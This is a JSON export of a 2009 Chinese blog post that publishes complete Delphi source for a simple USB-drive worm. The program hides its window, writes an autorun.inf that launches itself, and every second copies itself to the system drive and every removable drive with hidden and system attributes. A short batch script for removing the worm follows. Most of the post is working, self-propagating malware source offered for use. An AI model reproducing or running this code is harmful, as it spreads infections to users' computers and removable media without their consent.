{"id":734,"date":"2009-11-13T20:56:00","date_gmt":"2009-11-13T12:56:00","guid":{"rendered":""},"modified":"2013-11-17T16:56:28","modified_gmt":"2013-11-17T08:56:28","slug":"delphi%e7%ae%80%e5%8d%95u%e7%9b%98%e4%bc%a0%e6%9f%93%e7%97%85%e6%af%92","status":"publish","type":"post","link":"https:\/\/kyle.ai\/blog\/734.html","title":{"rendered":"Delphi\u7b80\u5355U\u76d8\u4f20\u67d3\u75c5\u6bd2"},"content":{"rendered":"<pre class=\"brush: delphi; title: ; notranslate\" title=\"\">\r\nprogram Project1;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses\r\n   windows, Tlhelp32,   SysUtils;\r\n\r\n\/\/===========================\u83b7\u5f97\u7cfb\u7edf\u76ee\u5f55=======================================\r\nfunction GetWinDir: string;\r\nvar\r\n   Buf: array&#x5B;0..MAX_PATH] of char;\r\nbegin\r\n   GetSystemDirectory(Buf, MAX_PATH);\r\n   Result := Buf;\r\n   if Result&#x5B;Length(Result)] &lt;&gt; '\\' then Result := Result + '\\';\r\nend;\r\n\r\n\/\/================================end===========================================\r\n\/\/=======================\u590d\u5236\u6587\u4ef6========begin==================================\r\nprocedure copyfilecopyfile;\r\nvar\r\ns,s1,s2,s3:string;\r\ni:char;\r\ninf:textfile;\r\nbegin\r\n\/\/========================\u521b\u5efaautorun.inf\u6587\u4ef6===================================\r\nbegin\r\ns:=ExpandFileName(ParamStr(0));    \/\/\u83b7\u53d6\u672c\u7a0b\u5e8f\u7684\u5b8c\u6574\u8def\u5f84\r\ns1:=ExtractFileDir(ParamStr(0))+'\\autorun.inf';\r\nFileSetAttr(s,0);\r\nFileSetAttr(s1,0);\r\nassignfile(inf, 'Autorun.inf');\r\nrewrite(inf);\r\nwriteln(inf, '&#x5B;AutoRun]');\r\nwriteln(inf, '');\r\nwriteln(inf, 'open=lcg.exe');\r\nwriteln(inf, 'shell\\open=\u6253\u5f00(&amp;O)');\r\nwriteLn(inf, 'shell\\open\\Command=lcg.exe');\r\nwriteln(inf, 'shell\\open\\Default=1');\r\nwriteln(inf, 'shell\\explore=\u8d44\u6e90\u7ba1\u7406\u5668(&amp;X)');\r\nwriteln(inf, 'shell\\explore\\Command=lcg.EXE');\r\nclosefile(inf);\r\nend;\r\n\/\/=====================================end======================================\r\n\/\/=============================\u5c06\u6587\u4ef6\u590d\u5236\u5230\u7cfb\u7edf\u76d8\u7b26\u4e0b===========================\r\n    s2:=copy(getwindir,1,1);\r\n    s3:=pchar(s2+':\\autorun.inf');\r\n    s2:=pchar(s2+':\\lcg.exe');\r\n    copyfile(pchar(s),pchar(s2),false);\r\n    copyfile(pchar(s1),pchar(s3),false);\r\n    FileSetAttr(s2,7);\r\n    FileSetAttr(s3,7);\r\n\/\/==================================end=========================================\r\n\/\/=============================\u5c06\u6587\u4ef6\u590d\u5236\u5230\u53ef\u79fb\u52a8\u78c1\u76d8===========================\r\nfor i:='C' to 'Z' do\r\nif GETDRIVETYPE (PChar(i+':\\'))=DRIVE_REMOVABLE then\r\nbegin\r\n    s2:=i;\r\n    s3:=pchar(i+':\\autorun.inf');\r\n    s2:=pchar(s2+':\\lcg.exe');\r\n    copyfile(pchar(s),pchar(s2),false);\r\n    copyfile(pchar(s1),pchar(s3),false);\r\n    FileSetAttr(s2,7);\r\n    FileSetAttr(s3,7);\r\n   end;\r\n\r\n\/\/================================end===========================================\r\n\r\nend;\r\nvar\r\n   win: longint;\r\n   msg: Tmsg;\r\nbegin\r\n\r\n   win := getforegroundwindow; \/\/\u83b7\u53d6\u5f53\u524d\u7a97\u4f53\u7684\u53e5\u67c4\r\n   showwindow(win, SW_HIDE); \/\/\u9690\u85cf\u7a97\u4f53\r\n   SetTimer(0, 10, 1000, @copyfilecopyfile); \/\/\u5b9a\u65f6\u95f4\u5668\uff0c\u4e00\u79d2\u949f\u626b\u63cf\u4e00\u6b21\r\n   \/\/WinexEc(pchar('copybat.bat'), SW_Hide);     \/\/\u8fd9\u91cc\u662f\u9690\u85cf\u63a7\u5236\u53f0\r\n   while GetMessage(msg, 0, 0, 0) do DispatchMessage(msg);\r\n   KillTimer(0, 10);\r\nend.\r\n<\/pre>\n<p>\u5220\u9664\u75c5\u6bd2\u7684\u6279\u5904\u7406\uff1a<\/p>\n<pre class=\"brush: delphi; title: ; notranslate\" title=\"\">\r\n@echo off\r\ntaskkill \/f \/im lcg.exe\r\ncd\\\r\nfor \/d %%i in (C,d,,e,f,g,h,I,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do attrib -s -a -r -h %%i:\\autorun.inf&amp;attrib -s -a -r -h   %%i:\\lcg.exe&amp; del %%i:\\lcg.exe&amp;del %%i:\\autorun.inf\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>program Project1; {$APPTYPE CONSOLE} uses windows, Tlhe [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-734","post","type-post","status-publish","format-standard","hentry","category-code_related"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/734","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=734"}],"version-history":[{"count":1,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/734\/revisions"}],"predecessor-version":[{"id":4712,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/734\/revisions\/4712"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=734"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=734"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=734"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}